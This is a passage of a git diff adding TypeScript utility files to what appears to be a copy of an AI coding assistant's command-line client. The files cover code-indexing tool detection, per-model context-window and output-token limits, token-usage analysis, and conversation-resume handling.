+ * Mapping of CLI command prefixes to code indexing tools.
+ * The key is the command name (first word of the command).
+ */
+const CLI_COMMAND_MAPPING: Record<string, CodeIndexingTool> = {
+  // Sourcegraph ecosystem
+  src: 'sourcegraph',
+  cody: 'cody',
+  // AI coding assistants
+  aider: 'aider',
+  tabby: 'tabby',
+  tabnine: 'tabnine',
+  augment: 'augment',
+  pieces: 'pieces',
+  qodo: 'qodo',
+  aide: 'aide',
+  // Code search tools
+  hound: 'hound',
+  seagoat: 'seagoat',
+  bloop: 'bloop',
+  gitloop: 'gitloop',
+  // Cloud provider AI assistants
+  q: 'amazon-q',
+  gemini: 'gemini',
+}
+
+/**
+ * Mapping of MCP server name patterns to code indexing tools.
+ * Patterns are matched case-insensitively against the server name.
+ */
+const MCP_SERVER_PATTERNS: Array<{
+  pattern: RegExp
+  tool: CodeIndexingTool
+}> = [
+  // Sourcegraph ecosystem
+  { pattern: /^sourcegraph$/i, tool: 'sourcegraph' },
+  { pattern: /^cody$/i, tool: 'cody' },
+  { pattern: /^openctx$/i, tool: 'openctx' },
+  // AI coding assistants
+  { pattern: /^aider$/i, tool: 'aider' },
+  { pattern: /^continue$/i, tool: 'continue' },
+  { pattern: /^github[-_]?copilot$/i, tool: 'github-copilot' },
+  { pattern: /^copilot$/i, tool: 'github-copilot' },
+  { pattern: /^cursor$/i, tool: 'cursor' },
+  { pattern: /^tabby$/i, tool: 'tabby' },
+  { pattern: /^codeium$/i, tool: 'codeium' },
+  { pattern: /^tabnine$/i, tool: 'tabnine' },
+  { pattern: /^augment[-_]?code$/i, tool: 'augment' },
+  { pattern: /^augment$/i, tool: 'augment' },
+  { pattern: /^windsurf$/i, tool: 'windsurf' },
+  { pattern: /^aide$/i, tool: 'aide' },
+  { pattern: /^codestory$/i, tool: 'aide' },
+  { pattern: /^pieces$/i, tool: 'pieces' },
+  { pattern: /^qodo$/i, tool: 'qodo' },
+  { pattern: /^amazon[-_]?q$/i, tool: 'amazon-q' },
+  { pattern: /^gemini[-_]?code[-_]?assist$/i, tool: 'gemini' },
+  { pattern: /^gemini$/i, tool: 'gemini' },
+  // Code search tools
+  { pattern: /^hound$/i, tool: 'hound' },
+  { pattern: /^seagoat$/i, tool: 'seagoat' },
+  { pattern: /^bloop$/i, tool: 'bloop' },
+  { pattern: /^gitloop$/i, tool: 'gitloop' },
+  // MCP code indexing servers
+  { pattern: /^claude[-_]?context$/i, tool: 'claude-context' },
+  { pattern: /^code[-_]?index[-_]?mcp$/i, tool: 'code-index-mcp' },
+  { pattern: /^code[-_]?index$/i, tool: 'code-index-mcp' },
+  { pattern: /^local[-_]?code[-_]?search$/i, tool: 'local-code-search' },
+  { pattern: /^codebase$/i, tool: 'autodev-codebase' },
+  { pattern: /^autodev[-_]?codebase$/i, tool: 'autodev-codebase' },
+  { pattern: /^code[-_]?context$/i, tool: 'claude-context' },
+]
+
+/**
+ * Detects if a bash command is using a code indexing CLI tool.
+ *
+ * @param command - The full bash command string
+ * @returns The code indexing tool identifier, or undefined if not a code indexing command
+ *
+ * @example
+ * detectCodeIndexingFromCommand('src search "pattern"') // returns 'sourcegraph'
+ * detectCodeIndexingFromCommand('cody chat --message "help"') // returns 'cody'
+ * detectCodeIndexingFromCommand('ls -la') // returns undefined
+ */
+export function detectCodeIndexingFromCommand(
+  command: string,
+): CodeIndexingTool | undefined {
+  // Extract the first word (command name)
+  const trimmed = command.trim()
+  const firstWord = trimmed.split(/\s+/)[0]?.toLowerCase()
+
+  if (!firstWord) {
+    return undefined
+  }
+
+  // Check for npx/bunx prefixed commands
+  if (firstWord === 'npx' || firstWord === 'bunx') {
+    const secondWord = trimmed.split(/\s+/)[1]?.toLowerCase()
+    if (secondWord && secondWord in CLI_COMMAND_MAPPING) {
+      return CLI_COMMAND_MAPPING[secondWord]
+    }
+  }
+
+  return CLI_COMMAND_MAPPING[firstWord]
+}
+
+/**
+ * Detects if an MCP tool is from a code indexing server.
+ *
+ * @param toolName - The MCP tool name (format: mcp__serverName__toolName)
+ * @returns The code indexing tool identifier, or undefined if not a code indexing tool
+ *
+ * @example
+ * detectCodeIndexingFromMcpTool('mcp__sourcegraph__search') // returns 'sourcegraph'
+ * detectCodeIndexingFromMcpTool('mcp__cody__chat') // returns 'cody'
+ * detectCodeIndexingFromMcpTool('mcp__filesystem__read') // returns undefined
+ */
+export function detectCodeIndexingFromMcpTool(
+  toolName: string,
+): CodeIndexingTool | undefined {
+  // MCP tool names follow the format: mcp__serverName__toolName
+  if (!toolName.startsWith('mcp__')) {
+    return undefined
+  }
+
+  const parts = toolName.split('__')
+  if (parts.length < 3) {
+    return undefined
+  }
+
+  const serverName = parts[1]
+  if (!serverName) {
+    return undefined
+  }
+
+  for (const { pattern, tool } of MCP_SERVER_PATTERNS) {
+    if (pattern.test(serverName)) {
+      return tool
+    }
+  }
+
+  return undefined
+}
+
+/**
+ * Detects if an MCP server name corresponds to a code indexing tool.
+ *
+ * @param serverName - The MCP server name
+ * @returns The code indexing tool identifier, or undefined if not a code indexing server
+ *
+ * @example
+ * detectCodeIndexingFromMcpServerName('sourcegraph') // returns 'sourcegraph'
+ * detectCodeIndexingFromMcpServerName('filesystem') // returns undefined
+ */
+export function detectCodeIndexingFromMcpServerName(
+  serverName: string,
+): CodeIndexingTool | undefined {
+  for (const { pattern, tool } of MCP_SERVER_PATTERNS) {
+    if (pattern.test(serverName)) {
+      return tool
+    }
+  }
+
+  return undefined
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/configConstants.ts b/_all-in-one-upload/cc-haha/src/utils/configConstants.ts
new file mode 100644
index 0000000..3d1e6af
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/configConstants.ts
@@ -0,0 +1,21 @@
+// These constants are in a separate file to avoid circular dependency issues.
+// Do NOT add imports to this file - it must remain dependency-free.
+
+export const NOTIFICATION_CHANNELS = [
+  'auto',
+  'iterm2',
+  'iterm2_with_bell',
+  'terminal_bell',
+  'kitty',
+  'ghostty',
+  'notifications_disabled',
+] as const
+
+// Valid editor modes (excludes deprecated 'emacs' which is auto-migrated to 'normal')
+export const EDITOR_MODES = ['normal', 'vim'] as const
+
+// Valid teammate modes for spawning
+// 'tmux' = traditional tmux-based teammates
+// 'in-process' = in-process teammates running in same process
+// 'auto' = automatically choose based on context (default)
+export const TEAMMATE_MODES = ['auto', 'tmux', 'in-process'] as const
diff --git a/_all-in-one-upload/cc-haha/src/utils/context.ts b/_all-in-one-upload/cc-haha/src/utils/context.ts
new file mode 100644
index 0000000..d9714de
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/context.ts
@@ -0,0 +1,221 @@
+// biome-ignore-all assist/source/organizeImports: ANT-ONLY import markers must not be reordered
+import { CONTEXT_1M_BETA_HEADER } from '../constants/betas.js'
+import { getGlobalConfig } from './config.js'
+import { isEnvTruthy } from './envUtils.js'
+import { getCanonicalName } from './model/model.js'
+import { getModelCapability } from './model/modelCapabilities.js'
+
+// Model context window size (200k tokens for all models right now)
+export const MODEL_CONTEXT_WINDOW_DEFAULT = 200_000
+
+// Maximum output tokens for compact operations
+export const COMPACT_MAX_OUTPUT_TOKENS = 20_000
+
+// Default max output tokens
+const MAX_OUTPUT_TOKENS_DEFAULT = 32_000
+const MAX_OUTPUT_TOKENS_UPPER_LIMIT = 64_000
+
+// Capped default for slot-reservation optimization. BQ p99 output = 4,911
+// tokens, so 32k/64k defaults over-reserve 8-16× slot capacity. With the cap
+// enabled, <1% of requests hit the limit; those get one clean retry at 64k
+// (see query.ts max_output_tokens_escalate). Cap is applied in
+// claude.ts:getMaxOutputTokensForModel to avoid the growthbook→betas→context
+// import cycle.
+export const CAPPED_DEFAULT_MAX_TOKENS = 8_000
+export const ESCALATED_MAX_TOKENS = 64_000
+
+/**
+ * Check if 1M context is disabled via environment variable.
+ * Used by C4E admins to disable 1M context for HIPAA compliance.
+ */
+export function is1mContextDisabled(): boolean {
+  return isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_1M_CONTEXT)
+}
+
+export function has1mContext(model: string): boolean {
+  if (is1mContextDisabled()) {
+    return false
+  }
+  return /\[1m\]/i.test(model)
+}
+
+// @[MODEL LAUNCH]: Update this pattern if the new model supports 1M context
+export function modelSupports1M(model: string): boolean {
+  if (is1mContextDisabled()) {
+    return false
+  }
+  const canonical = getCanonicalName(model)
+  return canonical.includes('claude-sonnet-4') || canonical.includes('opus-4-6')
+}
+
+export function getContextWindowForModel(
+  model: string,
+  betas?: string[],
+): number {
+  // Allow override via environment variable (ant-only)
+  // This takes precedence over all other context window resolution, including 1M detection,
+  // so users can cap the effective context window for local decisions (auto-compact, etc.)
+  // while still using a 1M-capable endpoint.
+  if (
+    process.env.USER_TYPE === 'ant' &&
+    process.env.CLAUDE_CODE_MAX_CONTEXT_TOKENS
+  ) {
+    const override = parseInt(process.env.CLAUDE_CODE_MAX_CONTEXT_TOKENS, 10)
+    if (!isNaN(override) && override > 0) {
+      return override
+    }
+  }
+
+  // [1m] suffix — explicit client-side opt-in, respected over all detection
+  if (has1mContext(model)) {
+    return 1_000_000
+  }
+
+  const cap = getModelCapability(model)
+  if (cap?.max_input_tokens && cap.max_input_tokens >= 100_000) {
+    if (
+      cap.max_input_tokens > MODEL_CONTEXT_WINDOW_DEFAULT &&
+      is1mContextDisabled()
+    ) {
+      return MODEL_CONTEXT_WINDOW_DEFAULT
+    }
+    return cap.max_input_tokens
+  }
+
+  if (betas?.includes(CONTEXT_1M_BETA_HEADER) && modelSupports1M(model)) {
+    return 1_000_000
+  }
+  if (getSonnet1mExpTreatmentEnabled(model)) {
+    return 1_000_000
+  }
+  if (process.env.USER_TYPE === 'ant') {
+    const antModel = resolveAntModel(model)
+    if (antModel?.contextWindow) {
+      return antModel.contextWindow
+    }
+  }
+  return MODEL_CONTEXT_WINDOW_DEFAULT
+}
+
+export function getSonnet1mExpTreatmentEnabled(model: string): boolean {
+  if (is1mContextDisabled()) {
+    return false
+  }
+  // Only applies to sonnet 4.6 without an explicit [1m] suffix
+  if (has1mContext(model)) {
+    return false
+  }
+  if (!getCanonicalName(model).includes('sonnet-4-6')) {
+    return false
+  }
+  return getGlobalConfig().clientDataCache?.['coral_reef_sonnet'] === 'true'
+}
+
+/**
+ * Calculate context window usage percentage from token usage data.
+ * Returns used and remaining percentages, or null values if no usage data.
+ */
+export function calculateContextPercentages(
+  currentUsage: {
+    input_tokens: number
+    cache_creation_input_tokens: number
+    cache_read_input_tokens: number
+  } | null,
+  contextWindowSize: number,
+): { used: number | null; remaining: number | null } {
+  if (!currentUsage) {
+    return { used: null, remaining: null }
+  }
+
+  const totalInputTokens =
+    currentUsage.input_tokens +
+    currentUsage.cache_creation_input_tokens +
+    currentUsage.cache_read_input_tokens
+
+  const usedPercentage = Math.round(
+    (totalInputTokens / contextWindowSize) * 100,
+  )
+  const clampedUsed = Math.min(100, Math.max(0, usedPercentage))
+
+  return {
+    used: clampedUsed,
+    remaining: 100 - clampedUsed,
+  }
+}
+
+/**
+ * Returns the model's default and upper limit for max output tokens.
+ */
+export function getModelMaxOutputTokens(model: string): {
+  default: number
+  upperLimit: number
+} {
+  let defaultTokens: number
+  let upperLimit: number
+
+  if (process.env.USER_TYPE === 'ant') {
+    const antModel = resolveAntModel(model.toLowerCase())
+    if (antModel) {
+      defaultTokens = antModel.defaultMaxTokens ?? MAX_OUTPUT_TOKENS_DEFAULT
+      upperLimit = antModel.upperMaxTokensLimit ?? MAX_OUTPUT_TOKENS_UPPER_LIMIT
+      return { default: defaultTokens, upperLimit }
+    }
+  }
+
+  const m = getCanonicalName(model)
+
+  if (m.includes('opus-4-6')) {
+    defaultTokens = 64_000
+    upperLimit = 128_000
+  } else if (m.includes('sonnet-4-6')) {
+    defaultTokens = 32_000
+    upperLimit = 128_000
+  } else if (
+    m.includes('opus-4-5') ||
+    m.includes('sonnet-4') ||
+    m.includes('haiku-4')
+  ) {
+    defaultTokens = 32_000
+    upperLimit = 64_000
+  } else if (m.includes('opus-4-1') || m.includes('opus-4')) {
+    defaultTokens = 32_000
+    upperLimit = 32_000
+  } else if (m.includes('claude-3-opus')) {
+    defaultTokens = 4_096
+    upperLimit = 4_096
+  } else if (m.includes('claude-3-sonnet')) {
+    defaultTokens = 8_192
+    upperLimit = 8_192
+  } else if (m.includes('claude-3-haiku')) {
+    defaultTokens = 4_096
+    upperLimit = 4_096
+  } else if (m.includes('3-5-sonnet') || m.includes('3-5-haiku')) {
+    defaultTokens = 8_192
+    upperLimit = 8_192
+  } else if (m.includes('3-7-sonnet')) {
+    defaultTokens = 32_000
+    upperLimit = 64_000
+  } else {
+    defaultTokens = MAX_OUTPUT_TOKENS_DEFAULT
+    upperLimit = MAX_OUTPUT_TOKENS_UPPER_LIMIT
+  }
+
+  const cap = getModelCapability(model)
+  if (cap?.max_tokens && cap.max_tokens >= 4_096) {
+    upperLimit = cap.max_tokens
+    defaultTokens = Math.min(defaultTokens, upperLimit)
+  }
+
+  return { default: defaultTokens, upperLimit }
+}
+
+/**
+ * Returns the max thinking budget tokens for a given model. The max
+ * thinking tokens should be strictly less than the max output tokens.
+ *
+ * Deprecated since newer models use adaptive thinking rather than a
+ * strict thinking token budget.
+ */
+export function getMaxThinkingTokensForModel(model: string): number {
+  return getModelMaxOutputTokens(model).upperLimit - 1
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/contextAnalysis.ts b/_all-in-one-upload/cc-haha/src/utils/contextAnalysis.ts
new file mode 100644
index 0000000..2801d37
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/contextAnalysis.ts
@@ -0,0 +1,272 @@
+import type { BetaContentBlock } from '@anthropic-ai/sdk/resources/beta/messages/messages.mjs'
+import type {
+  ContentBlock,
+  ContentBlockParam,
+} from '@anthropic-ai/sdk/resources/index.mjs'
+import { roughTokenCountEstimation as countTokens } from '../services/tokenEstimation.js'
+import type {
+  AssistantMessage,
+  Message,
+  UserMessage,
+} from '../types/message.js'
+import { normalizeMessagesForAPI } from './messages.js'
+import { jsonStringify } from './slowOperations.js'
+
+type TokenStats = {
+  toolRequests: Map<string, number>
+  toolResults: Map<string, number>
+  humanMessages: number
+  assistantMessages: number
+  localCommandOutputs: number
+  other: number
+  attachments: Map<string, number>
+  duplicateFileReads: Map<string, { count: number; tokens: number }>
+  total: number
+}
+
+export function analyzeContext(messages: Message[]): TokenStats {
+  const stats: TokenStats = {
+    toolRequests: new Map(),
+    toolResults: new Map(),
+    humanMessages: 0,
+    assistantMessages: 0,
+    localCommandOutputs: 0,
+    other: 0,
+    attachments: new Map(),
+    duplicateFileReads: new Map(),
+    total: 0,
+  }
+
+  const toolIdsToToolNames = new Map<string, string>()
+  const readToolIdToFilePath = new Map<string, string>()
+  const fileReadStats = new Map<
+    string,
+    { count: number; totalTokens: number }
+  >()
+
+  messages.forEach(msg => {
+    if (msg.type === 'attachment') {
+      const type = msg.attachment.type || 'unknown'
+      stats.attachments.set(type, (stats.attachments.get(type) || 0) + 1)
+    }
+  })
+
+  const normalizedMessages = normalizeMessagesForAPI(messages)
+  normalizedMessages.forEach(msg => {
+    const { content } = msg.message
+
+    // Not sure if this path is still used, but adding as a fallback
+    if (typeof content === 'string') {
+      const tokens = countTokens(content)
+      stats.total += tokens
+      // Check if this is a local command output
+      if (msg.type === 'user' && content.includes('local-command-stdout')) {
+        stats.localCommandOutputs += tokens
+      } else {
+        stats[msg.type === 'user' ? 'humanMessages' : 'assistantMessages'] +=
+          tokens
+      }
+    } else {
+      content.forEach(block =>
+        processBlock(
+          block,
+          msg,
+          stats,
+          toolIdsToToolNames,
+          readToolIdToFilePath,
+          fileReadStats,
+        ),
+      )
+    }
+  })
+
+  // Calculate duplicate file reads
+  fileReadStats.forEach((data, path) => {
+    if (data.count > 1) {
+      const averageTokensPerRead = Math.floor(data.totalTokens / data.count)
+      const duplicateTokens = averageTokensPerRead * (data.count - 1)
+
+      stats.duplicateFileReads.set(path, {
+        count: data.count,
+        tokens: duplicateTokens,
+      })
+    }
+  })
+
+  return stats
+}
+
+function processBlock(
+  block: ContentBlockParam | ContentBlock | BetaContentBlock,
+  message: UserMessage | AssistantMessage,
+  stats: TokenStats,
+  toolIds: Map<string, string>,
+  readToolPaths: Map<string, string>,
+  fileReads: Map<string, { count: number; totalTokens: number }>,
+): void {
+  const tokens = countTokens(jsonStringify(block))
+  stats.total += tokens
+
+  switch (block.type) {
+    case 'text':
+      // Check if this is a local command output
+      if (
+        message.type === 'user' &&
+        'text' in block &&
+        block.text.includes('local-command-stdout')
+      ) {
+        stats.localCommandOutputs += tokens
+      } else {
+        stats[
+          message.type === 'user' ? 'humanMessages' : 'assistantMessages'
+        ] += tokens
+      }
+      break
+
+    case 'tool_use': {
+      if ('name' in block && 'id' in block) {
+        const toolName = block.name || 'unknown'
+        increment(stats.toolRequests, toolName, tokens)
+        toolIds.set(block.id, toolName)
+
+        // Track Read tool file paths
+        if (
+          toolName === 'Read' &&
+          'input' in block &&
+          block.input &&
+          typeof block.input === 'object' &&
+          'file_path' in block.input
+        ) {
+          const path = String(
+            (block.input as Record<string, unknown>).file_path,
+          )
+          readToolPaths.set(block.id, path)
+        }
+      }
+      break
+    }
+
+    case 'tool_result': {
+      if ('tool_use_id' in block) {
+        const toolName = toolIds.get(block.tool_use_id) || 'unknown'
+        increment(stats.toolResults, toolName, tokens)
+
+        // Track file read tokens
+        if (toolName === 'Read') {
+          const path = readToolPaths.get(block.tool_use_id)
+          if (path) {
+            const current = fileReads.get(path) || { count: 0, totalTokens: 0 }
+            fileReads.set(path, {
+              count: current.count + 1,
+              totalTokens: current.totalTokens + tokens,
+            })
+          }
+        }
+      }
+      break
+    }
+
+    case 'image':
+    case 'server_tool_use':
+    case 'web_search_tool_result':
+    case 'search_result':
+    case 'document':
+    case 'thinking':
+    case 'redacted_thinking':
+    case 'code_execution_tool_result':
+    case 'mcp_tool_use':
+    case 'mcp_tool_result':
+    case 'container_upload':
+    case 'web_fetch_tool_result':
+    case 'bash_code_execution_tool_result':
+    case 'text_editor_code_execution_tool_result':
+    case 'tool_search_tool_result':
+    case 'compaction':
+      // Don't care about these for now..
+      stats['other'] += tokens
+      break
+  }
+}
+
+function increment(map: Map<string, number>, key: string, value: number): void {
+  map.set(key, (map.get(key) || 0) + value)
+}
+
+export function tokenStatsToStatsigMetrics(
+  stats: TokenStats,
+): Record<string, number> {
+  const metrics: Record<string, number> = {
+    total_tokens: stats.total,
+    human_message_tokens: stats.humanMessages,
+    assistant_message_tokens: stats.assistantMessages,
+    local_command_output_tokens: stats.localCommandOutputs,
+    other_tokens: stats.other,
+  }
+
+  stats.attachments.forEach((count, type) => {
+    metrics[`attachment_${type}_count`] = count
+  })
+
+  stats.toolRequests.forEach((tokens, tool) => {
+    metrics[`tool_request_${tool}_tokens`] = tokens
+  })
+
+  stats.toolResults.forEach((tokens, tool) => {
+    metrics[`tool_result_${tool}_tokens`] = tokens
+  })
+
+  const duplicateTotal = [...stats.duplicateFileReads.values()].reduce(
+    (sum, d) => sum + d.tokens,
+    0,
+  )
+
+  metrics.duplicate_read_tokens = duplicateTotal
+  metrics.duplicate_read_file_count = stats.duplicateFileReads.size
+
+  if (stats.total > 0) {
+    metrics.human_message_percent = Math.round(
+      (stats.humanMessages / stats.total) * 100,
+    )
+    metrics.assistant_message_percent = Math.round(
+      (stats.assistantMessages / stats.total) * 100,
+    )
+    metrics.local_command_output_percent = Math.round(
+      (stats.localCommandOutputs / stats.total) * 100,
+    )
+    metrics.duplicate_read_percent = Math.round(
+      (duplicateTotal / stats.total) * 100,
+    )
+
+    const toolRequestTotal = [...stats.toolRequests.values()].reduce(
+      (sum, v) => sum + v,
+      0,
+    )
+    const toolResultTotal = [...stats.toolResults.values()].reduce(
+      (sum, v) => sum + v,
+      0,
+    )
+
+    metrics.tool_request_percent = Math.round(
+      (toolRequestTotal / stats.total) * 100,
+    )
+    metrics.tool_result_percent = Math.round(
+      (toolResultTotal / stats.total) * 100,
+    )
+
+    // Add individual tool request percentages
+    stats.toolRequests.forEach((tokens, tool) => {
+      metrics[`tool_request_${tool}_percent`] = Math.round(
+        (tokens / stats.total) * 100,
+      )
+    })
+
+    // Add individual tool result percentages
+    stats.toolResults.forEach((tokens, tool) => {
+      metrics[`tool_result_${tool}_percent`] = Math.round(
+        (tokens / stats.total) * 100,
+      )
+    })
+  }
+
+  return metrics
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/conversationRecovery.ts b/_all-in-one-upload/cc-haha/src/utils/conversationRecovery.ts
new file mode 100644
index 0000000..af5ea23
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/conversationRecovery.ts
@@ -0,0 +1,597 @@
+import { feature } from 'bun:bundle'
+import type { UUID } from 'crypto'
+import { relative } from 'path'
+import { getCwd } from 'src/utils/cwd.js'
+import { addInvokedSkill } from '../bootstrap/state.js'
+import { asSessionId } from '../types/ids.js'
+import type {
+  AttributionSnapshotMessage,
+  ContextCollapseCommitEntry,
+  ContextCollapseSnapshotEntry,
+  LogOption,
+  PersistedWorktreeSession,
+  SerializedMessage,
+} from '../types/logs.js'
+import type {
+  Message,
+  NormalizedMessage,
+  NormalizedUserMessage,
+} from '../types/message.js'
+import { PERMISSION_MODES } from '../types/permissions.js'
+import { suppressNextSkillListing } from './attachments.js'
+import {
+  copyFileHistoryForResume,
+  type FileHistorySnapshot,
+} from './fileHistory.js'
+import { logError } from './log.js'
+import {
+  createAssistantMessage,
+  createUserMessage,
+  filterOrphanedThinkingOnlyMessages,
+  filterUnresolvedToolUses,
+  filterWhitespaceOnlyAssistantMessages,
+  isToolUseResultMessage,
+  NO_RESPONSE_REQUESTED,
+  normalizeMessages,
+} from './messages.js'
+import { copyPlanForResume } from './plans.js'
+import { processSessionStartHooks } from './sessionStart.js'
+import {
+  buildConversationChain,
+  checkResumeConsistency,
+  getLastSessionLog,
+  getSessionIdFromLog,
+  isLiteLog,
+  loadFullLog,
+  loadMessageLogs,
+  loadTranscriptFile,
+  removeExtraFields,
+} from './sessionStorage.js'
+import type { ContentReplacementRecord } from './toolResultStorage.js'
+
+// Dead code elimination: ant-only tool names are conditionally required so
+// their strings don't leak into external builds. Static imports always bundle.
+/* eslint-disable @typescript-eslint/no-require-imports */
+const BRIEF_TOOL_NAME: string | null =
+  feature('KAIROS') || feature('KAIROS_BRIEF')
+    ? (
+        require('../tools/BriefTool/prompt.js') as typeof import('../tools/BriefTool/prompt.js')
+      ).BRIEF_TOOL_NAME
+    : null
+const LEGACY_BRIEF_TOOL_NAME: string | null =
+  feature('KAIROS') || feature('KAIROS_BRIEF')
+    ? (
+        require('../tools/BriefTool/prompt.js') as typeof import('../tools/BriefTool/prompt.js')
+      ).LEGACY_BRIEF_TOOL_NAME
+    : null
+const SEND_USER_FILE_TOOL_NAME: string | null = feature('KAIROS')
+  ? (
+      require('../tools/SendUserFileTool/prompt.js') as typeof import('../tools/SendUserFileTool/prompt.js')
+    ).SEND_USER_FILE_TOOL_NAME
+  : null
+/* eslint-enable @typescript-eslint/no-require-imports */
+
+/**
+ * Transforms legacy attachment types to current types for backward compatibility
+ */
+function migrateLegacyAttachmentTypes(message: Message): Message {
+  if (message.type !== 'attachment') {
+    return message
+  }
+
+  const attachment = message.attachment as {
+    type: string
+    [key: string]: unknown
+  } // Handle legacy types not in current type system
+
+  // Transform legacy attachment types
+  if (attachment.type === 'new_file') {
+    return {
+      ...message,
+      attachment: {
+        ...attachment,
+        type: 'file',
+        displayPath: relative(getCwd(), attachment.filename as string),
+      },
+    } as SerializedMessage // Cast entire message since we know the structure is correct
+  }
+
+  if (attachment.type === 'new_directory') {
+    return {
+      ...message,
+      attachment: {
+        ...attachment,
+        type: 'directory',
+        displayPath: relative(getCwd(), attachment.path as string),
+      },
+    } as SerializedMessage // Cast entire message since we know the structure is correct
+  }
+
+  // Backfill displayPath for attachments from old sessions
+  if (!('displayPath' in attachment)) {
+    const path =
+      'filename' in attachment
+        ? (attachment.filename as string)
+        : 'path' in attachment
+          ? (attachment.path as string)
+          : 'skillDir' in attachment
+            ? (attachment.skillDir as string)
+            : undefined
+    if (path) {
+      return {
+        ...message,
+        attachment: {
+          ...attachment,
+          displayPath: relative(getCwd(), path),
+        },
+      } as Message
+    }
+  }
+
+  return message
+}
+
+export type TeleportRemoteResponse = {
+  log: Message[]
+  branch?: string
+}
+
+export type TurnInterruptionState =
+  | { kind: 'none' }
+  | { kind: 'interrupted_prompt'; message: NormalizedUserMessage }
+
+export type DeserializeResult = {
+  messages: Message[]
+  turnInterruptionState: TurnInterruptionState
+}
+
+/**
+ * Deserializes messages from a log file into the format expected by the REPL.
+ * Filters unresolved tool uses, orphaned thinking messages, and appends a
+ * synthetic assistant sentinel when the last message is from the user.
+ * @internal Exported for testing - use loadConversationForResume instead
+ */
+export function deserializeMessages(serializedMessages: Message[]): Message[] {
+  return deserializeMessagesWithInterruptDetection(serializedMessages).messages
+}
+
+/**
+ * Like deserializeMessages, but also detects whether the session was
+ * interrupted mid-turn. Used by the SDK resume path to auto-continue
+ * interrupted turns after a gateway-triggered restart.
+ * @internal Exported for testing
+ */
+export function deserializeMessagesWithInterruptDetection(
+  serializedMessages: Message[],
+): DeserializeResult {
+  try {
+    // Transform legacy attachment types before processing
+    const migratedMessages = serializedMessages.map(
+      migrateLegacyAttachmentTypes,
+    )
+
+    // Strip invalid permissionMode values from deserialized user messages.
+    // The field is unvalidated JSON from disk and may contain modes from a different build.
+    const validModes = new Set<string>(PERMISSION_MODES)
+    for (const msg of migratedMessages) {
+      if (
+        msg.type === 'user' &&
+        msg.permissionMode !== undefined &&
+        !validModes.has(msg.permissionMode)
+      ) {
+        msg.permissionMode = undefined
+      }
+    }
+
+    // Filter out unresolved tool uses and any synthetic messages that follow them
+    const filteredToolUses = filterUnresolvedToolUses(
+      migratedMessages,
+    ) as NormalizedMessage[]
+
+    // Filter out orphaned thinking-only assistant messages that can cause API errors
+    // during resume. These occur when streaming yields separate messages per content
+    // block and interleaved user messages prevent proper merging by message.id.
+    const filteredThinking = filterOrphanedThinkingOnlyMessages(
+      filteredToolUses,
+    ) as NormalizedMessage[]
+
+    // Filter out assistant messages with only whitespace text content.
+    // This can happen when model outputs "\n\n" before thinking, user cancels mid-stream.
+    const filteredMessages = filterWhitespaceOnlyAssistantMessages(
+      filteredThinking,
+    ) as NormalizedMessage[]
+
+    const internalState = detectTurnInterruption(filteredMessages)
+
+    // Transform mid-turn interruptions into interrupted_prompt by appending
+    // a synthetic continuation message. This unifies both interruption kinds
+    // so the consumer only needs to handle interrupted_prompt.
+    let turnInterruptionState: TurnInterruptionState
+    if (internalState.kind === 'interrupted_turn') {
+      const [continuationMessage] = normalizeMessages([
+        createUserMessage({
+          content: 'Continue from where you left off.',
+          isMeta: true,
+        }),
+      ])
+      filteredMessages.push(continuationMessage!)
+      turnInterruptionState = {
+        kind: 'interrupted_prompt',
+        message: continuationMessage!,
+      }
+    } else {
+      turnInterruptionState = internalState
+    }
+
+    // Append a synthetic assistant sentinel after the last user message so
+    // the conversation is API-valid if no resume action is taken. Skip past
+    // trailing system/progress messages and insert right after the user
+    // message so removeInterruptedMessage's splice(idx, 2) removes the
+    // correct pair.
+    const lastRelevantIdx = filteredMessages.findLastIndex(
+      m => m.type !== 'system' && m.type !== 'progress',
+    )
+    if (
+      lastRelevantIdx !== -1 &&
+      filteredMessages[lastRelevantIdx]!.type === 'user'
+    ) {
+      filteredMessages.splice(
+        lastRelevantIdx + 1,
+        0,
+        createAssistantMessage({
+          content: NO_RESPONSE_REQUESTED,
+        }) as NormalizedMessage,
+      )
+    }
+
+    return { messages: filteredMessages, turnInterruptionState }
+  } catch (error) {
+    logError(error as Error)
+    throw error
+  }
+}
+
+/**
+ * Internal 3-way result from detection, before transforming interrupted_turn
+ * into interrupted_prompt with a synthetic continuation message.
+ */
+type InternalInterruptionState =
+  | TurnInterruptionState
+  | { kind: 'interrupted_turn' }
+
+/**
+ * Determines whether the conversation was interrupted mid-turn based on the
+ * last message after filtering. An assistant as last message (after filtering
+ * unresolved tool_uses) is treated as a completed turn because stop_reason is
+ * always null on persisted messages in the streaming path.
+ *
+ * System and progress messages are skipped when finding the last turn-relevant
+ * message — they are bookkeeping artifacts that should not mask a genuine
+ * interruption. Attachments are kept as part of the turn.
+ */
+function detectTurnInterruption(
+  messages: NormalizedMessage[],
+): InternalInterruptionState {
+  if (messages.length === 0) {
+    return { kind: 'none' }
+  }
+
+  // Find the last turn-relevant message, skipping system/progress and
+  // synthetic API error assistants. Error assistants are already filtered
+  // before API send (normalizeMessagesForAPI) — skipping them here lets
+  // auto-resume fire after retry exhaustion instead of reading the error as
+  // a completed turn.
+  const lastMessageIdx = messages.findLastIndex(
+    m =>
+      m.type !== 'system' &&
+      m.type !== 'progress' &&
+      !(m.type === 'assistant' && m.isApiErrorMessage),
+  )
+  const lastMessage =
+    lastMessageIdx !== -1 ? messages[lastMessageIdx] : undefined
+
+  if (!lastMessage) {
+    return { kind: 'none' }
+  }
+
+  if (lastMessage.type === 'assistant') {
+    // In the streaming path, stop_reason is always null on persisted messages
+    // because messages are recorded at content_block_stop time, before
+    // message_delta delivers the stop_reason. After filterUnresolvedToolUses
+    // has removed assistant messages with unmatched tool_uses, an assistant as
+    // the last message means the turn most likely completed normally.
+    return { kind: 'none' }
+  }
+
+  if (lastMessage.type === 'user') {
+    if (lastMessage.isMeta || lastMessage.isCompactSummary) {
+      return { kind: 'none' }
+    }
+    if (isToolUseResultMessage(lastMessage)) {
+      // Brief mode (#20467) drops the trailing assistant text block, so a
+      // completed brief-mode turn legitimately ends on SendUserMessage's
+      // tool_result. Without this check, resume misclassifies every
